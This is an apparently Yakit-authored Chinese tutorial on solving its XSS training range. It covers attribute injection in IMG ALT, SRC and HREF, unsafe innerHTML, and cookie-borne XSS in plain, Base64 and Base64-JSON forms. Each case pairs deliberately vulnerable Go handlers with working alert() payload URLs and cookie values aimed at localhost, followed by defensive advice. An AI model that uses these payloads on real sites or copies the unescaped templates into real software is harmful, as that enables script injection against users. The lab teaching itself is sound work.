前言
Preface
上周牛牛和大家唠了XSS的基础知识和简单案例Yakit靶场通关教程|XSS多场景(一),那师傅们有思考过服务端如何识别特定的客户吗?其实Cookie就是干这个的,每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端。它是作为“密保”帮助网站辨别用户身份而储存在客户端上的数据,也就是说,只要有了某个用户的 Cookie,就能以他的身份登录。
本周的教学中牛牛将为大家呈上Cookie中的XSS,除此以外,针对XSS攻击注入点:html节点内容和属性展开进阶教学。
案例分享及教学
进阶1:输出存在于HTML节点属性中
但是不再on属性中(IMG ALT)
这个案例是XSS(跨站脚本攻击)的进阶形式,展示了一种输出存在于HTML节点属性中,但不再on属性中的漏洞类型。
示例代码:
{
DefaultQuery: "json={\"value\":\"value=visitor-name\"}",
Path: "/attr/alt/json",
Title: "进阶1:输出存在于HTML节点属性中,但不再on属性中(IMG ALT)",
Handler: func(writer http.ResponseWriter, request *http.Request) {
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>
<body>
<div>
Hello Visitor!
<br>
Here are photo for U! <br>
<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>
</body>
</html>`, map[string]any{
"value": LoadFromGetJSONParam(request, "json", "value"),
})
writer.Header().Set("Content-Type", "text/html")
},
RiskDetected: true,
}
攻击示例:
攻击者可以构造以下恶意URL来利用漏洞:
http://127.0.0.1:8787/xss/attr/alt/json?json=%7B%22value%22%3A%22%27+onmouseover%3D%27alert%28123%29%22%7D
在上述攻击示例中,攻击者通过在json
参数中注入%27+onmouseover%3D%27alert%28123%29
,将恶意代码嵌入到ALT属性中。当用户浏览到包含这个IMG标签的页面时,鼠标悬停在图像上时,浏览器会执行嵌入的JavaScript代码,弹出一个弹窗,显示“123”。
防御措施:
要防范这种类型的漏洞,开发者需要对从用户输入获取的数据进行适当的转义和过滤,确保用户提供的内容不会被解释为HTML或JavaScript代码。这可以通过使用安全的HTML编码函数来实现。
靶场演示:视频
进阶2:输出存在于HTML节点属性中
但是不再on属性中(IMG ALT)
这个案例是XSS(跨站脚本攻击)的进阶形式,展示了一种输出存在于HTML节点属性中,但不再on属性中的漏洞类型。
示例代码:
{
DefaultQuery: "b64json=eyJ2YWx1ZSI6InZhbHVlPXZpc2l0b3ItbmFtZSJ9",
Path: "/attr/alt/b64/json",
Title: "进阶2:输出存在于HTML节点属性中,但是不再on属性中(IMG ALT)",
Handler: func(writer http.ResponseWriter, request *http.Request) {
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>
<body>
<div>
Hello Visitor!
<br>
Here are photo for U! <br>
<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>
</body>
</html>`, map[string]any{
"value": LoadFromGetJSONParam(request, "json", "value"),
})
writer.Header().Set("Content-Type", "text/html")
},
RiskDetected: true,
}
攻击示例:
攻击者可以构造以下恶意URL来利用漏洞:
http://127.0.0.1:8787/xss/attr/alt/b64/json?b64json=eyJ2YWx1ZSI6Iidvbm1vdXNlb3Zlcj0nYWxlcnQoMTIzKSJ9
攻击者通过在b64json
参数中注入Base64编码的恶意代码,将恶意代码嵌入到ALT属性中。当用户浏览到包含这个IMG标签的页面时,浏览器会执行嵌入的JavaScript代码,弹出一个弹窗,显示"alert(123)"。
防御措施:
要防止这种类型的漏洞,开发者需要对用户输入的数据进行适当的过滤和转义,确保用户提供的内容不会被解释为HTML或JavaScript代码。在这种情况下,开发者可以使用安全的HTML编码函数,以及对Base64解码后再进行处理,从而有效地防止XSS攻击。
靶场演示:视频
输出存在于HTML节点属性中
但是不再on属性中(IMG SRC)
输出存在于 HTML 节点属性中,特别是在 <img>
标签的 src
属性中,是一种常见的 XSS 漏洞。攻击者可以通过在这些属性中注入恶意代码,从而在用户浏览网页时执行恶意脚本。
示例代码:
下列代码会导致恶意代码在用户浏览器中执行,因为 src
属性被注入了可执行的 JavaScript 代码。
<div>
Hello Visitor!<br>
Here are photo for U! <br> <br>
<img style='width: 100px' alt='value' src="{{ .value }}" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>
攻击示例:
当浏览器尝试加载 src
属性的内容时,由于发生了错误,就会触发 onerror
事件,从而弹出一个警示框,显示 "Hello Yakit"。
<!--构造xss-->
?src=" onerror="alert('Hello Yakit')
<!--修改后的标签-->
<img style='width: 100px' alt='value' src="" onerror="alert('Hello Yakit')" ...../>
这种情况下,攻击者成功地在用户浏览器中执行了恶意代码,实现了 XSS 攻击。
防御措施:
转义输出:在将用户输入嵌入到 HTML 属性中之前,务必进行适当的字符转义。这可以防止恶意代码在属性中执行。
限制属性值:尽量限制属性值的内容,只允许特定类型的内容,例如只允许 URL。
靶场演示:视频
输出存在于HTML节点属性中
但是不再on属性中(HREF)
这个案例展示了一种输出存在于 HTML 节点属性中,位于herf 属性中的 XSS(跨站脚本攻击)漏洞类型
示例代码:
{
DefaultQuery: "href=/static/logo.png",
Path: "/attr/href",
Title: "输出存在于HTML节点属性中,但是不再on属性中(HREF)",
Handler: func(writer http.ResponseWriter, request *http.Request) {
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>
<body>
<div>
Hello Visitor!
<br>
Here are photo for U! <br> <br>
<a href='{{ .value }}' target='_blank'>Click ME to load IMG LOGO!</a>
<img style='width: 100px' alt='value' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>
</body>
</html>`, map[string]any{
"value": request.URL.Query().Get("href"),
})
writer.Header().Set("Content-Type", "text/html")
},
RiskDetected: true,
}
攻击示例:
http://127.0.0.1:8787/xss/attr/href?href=%27onmousemove=%27alert(123)
在上述攻击示例中,攻击者通过在href
参数中注入恶意代码,将恶意代码嵌入到HREF属性中。当用户点击链接时,浏览器会执行嵌入的JavaScript代码,弹出一个弹窗,显示"alert(123)"。
防御措施:
要防止这种类型的漏洞,开发者需要对用户输入的数据进行适当的过滤和转义,确保用户提供的内容不会被解释为HTML或JavaScript代码。开发者可以使用安全的HTML编码函数,以及对用户输入数据进行严格的验证,从而有效地防止XSS攻击。
靶场演示:视频
script标签的某些属性中
早期的前端开发人员在写代码时通常会用到 innerHTML()
方法,innerHTML
会把字符串转成 HTML 代码片段渲染到页面上,实际上这个方法是存在很大漏洞。
示例代码:
<div>Hello <p id='name'></p>
<br>Here are photo for U! <br>
<script>document.getElementById('name').innerHTML = 'OrdinaryVisitor'</script>
</div>
攻击示例:
<script>alert(123)</script>
结果竟然发现没有弹窗?
HTML 5 中指定不执行由 innerHTML 插入的<script>
标签。然而,有很多不依赖<script>
标签去执行 JavaScript 的方式,这仍是一个安全问题。
可以利用img中的onerror来达到触发的效果
<img src=x onerror="alert(/xss/)">
因此,不要过度使用innerHTML
方法,在使用前应考虑一下会不会对程序造成危害。如果一个用户输入的内容直接由innerHTML
操办,那很可能是危险的。使用innerHTML
、outerHTML
时要注意,标签需不进行编码处理,可能会导致XSS。
防御措施:
不要直接使用innerHTML来插入HTML内容,可以使用createElement和appendChild等方法来创建和添加元素,或者使用innerText或textContent等属性来设置文本内容。
靶场演示:视频
Cookie 中的 XSS
这个案例展示了一种称为 "Cookie 中的 XSS" 的漏洞类型。攻击者可以通过在 Cookie 中注入恶意代码,从而在用户的浏览器上下文中执行攻击。
示例代码:
该漏洞的出现是因为应用程序在设置 Cookie 时没有对用户输入进行正确的过滤和验证,导致恶意用户可以注入恶意代码到 Cookie 中。
{
DefaultQuery: "",
Path: "/cookie/name",
Title: "Cookie 中的 XSS",
Handler: func(writer http.ResponseWriter, request *http.Request) {
raw, _ := utils.HttpDumpWithBody(request, true)
xCname := lowhttp.GetHTTPPacketCookieFirst(raw, "xCname")
if xCname == "" && lowhttp.GetHTTPRequestQueryParam(raw, "skip") != "1" {
http.SetCookie(writer, &http.Cookie{
Name: "xCname",
Value: "UserAdmin",
})
writer.Header().Set("Location", "/xss/cookie/name?skip=1")
writer.WriteHeader(302)
return
}
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>
<body>
<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='{{ .code }}'/>
<script>const name = "Admin";
console.info("Hello" + `+"`{{ .name }}: ${name}`"+`);
</script>
</div>
</body>
</html>`, map[string]any{
"name": xCname,
})
writer.Header().Set("Content-Type", "text/html")
},
RiskDetected: true,
}
攻击示例:
通过在Cookie中构造特定的参数,攻击者可以注入恶意脚本代码,从而实现XSS攻击。
Cookie: xCname=`%2balert('XSS Attack!')%2b`
在上述攻击示例中,攻击者将 xCname
Cookie 值设置为 %2balert('XSS Attack!')%2b
,这是一个经过 URL 编码的恶意代码。当用户访问带有恶意 Cookie 的页面时,恶意代码会在用户的浏览器上下文中执行,弹出一个弹窗,显示 "XSS Attack!"。
#修改后标签(Cookie)
<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='<no value>'/>
<script>const name = "Admin";
console.info("Hello" + ``+alert('XSS Attack!')+`: ${name}`);</script>
</div>
防御措施:
开发者应当在设置 Cookie 时对用户输入进行适当的过滤和验证,以防止恶意代码的注入和执行。
靶场演示:视频
Cookie 中的 XSS(Base64)
该示例从cookis中读取数据并经过base64解码,将数据插入模版中从而渲染到前端
示例代码:
<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='OrdinaryUser'/>
<script>const name = "Admin";
console.info("Hello" + `OrdinaryUser: ${name}`);</script>
</div>
攻击示例:
通过在Cookie中构造特定的参数,攻击者可以注入恶意脚本代码
Cookie: xCnameB64=YWxlcnQoInhzcyIp
#修改cookie后
<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='alert("xss")'/>
<script>const name = "Admin";
console.info("Hello" + `alert("xss"): ${name}`);</script>
</div>
防御措施:
输入验证和过滤:在将数据存储到Cookie中之前,对用户输入进行严格验证和过滤。仅允许预期的输入内容,并且对输入内容进行适当的编码,以防止注入恶意数据。
限制Cookie的范围:将Cookie的作用范围限制在必要的路径或域名下,避免将敏感信息暴露在不必要的地方。
解析和验证Cookie数据:在使用Cookie数据之前,先解析和验证其内容。确保数据的格式正确且没有被篡改。
靶场演示:视频
Cookie 中的 XSS(Base64-JSON)
通过未经处理的 Cookie 值中的 Base64 编码的 JSON 数据来触发的 XSS 漏洞,首先从 Cookie 中获取 "xCnameB64J" 的值,并尝试对其进行 Base64 解码,并将解码后的 JSON 数据反序列化。作为待渲染到页面的名称。
示例代码:
#原标签
<div>Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='xCnameB64J-OrdinaryUser'/>
<script>const name = "Admin";
console.info("Hello" + `xCnameB64J-OrdinaryUser: ${name}`);</script>
</div>
攻击示例:
通过在cookie中提交xss代码,实现攻击。
#构造xss(修改Cookie)
eyJuYW1lIjoiYWxlcnQoMTIzKSJ9
#修改后标签(Cookie)
<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='alert(123)'/>
<script>const name = "Admin";
console.info("Hello" + `alert(123): ${name}`);</script>
</div>
防御措施:
针对Cookie中的XSS攻击(Base64-JSON),以下是一些防御措施,可以帮助减少这种类型的攻击风险:
输入验证和过滤:在将数据存储到Cookie中之前,对用户输入进行严格验证和过滤。仅允许预期的输入内容,并且对输入内容进行适当的编码,以防止注入恶意数据。
限制Cookie的范围:将Cookie的作用范围限制在必要的路径或域名下,避免将敏感信息暴露在不必要的地方。
解析和验证Cookie数据:在使用Cookie数据之前,先解析和验证其内容。确保数据的格式正确且没有被篡改。
靶场演示:视频
结尾
XSS漏洞带来的危害包括但不限于:窃取用户Cookie、后台增删改文章、获取用户信息、XSS钓鱼攻击。防范其的方法其实很多,但是无论方法有多少,始终是万变不离其宗。牛牛给大家总结成两大要素:
XSS是由于服务器端对用户提供的可控数据过于信任或者过滤不严导致的。SSRF同理,但SSRF安全漏洞是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器,与XSS有所不同,在下次的靶场教学中,牛牛将带领大家解锁 SSRF 参数多种情况的测试。
文末唠叨唠叨:天气转凉入冬,师傅们要多多注意保暖哦~明日还有技术干货放送哦!
Loading...
SSRF JSON Body SSRF
SSRF GET 中 URL 参数
SSRF POST 中 URL 参数
SSRF POST 中 URL 参数 (DNS Rebinding)
SSRF POST 中 URL 参数(Multipart)
END
YAK官方资源
Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ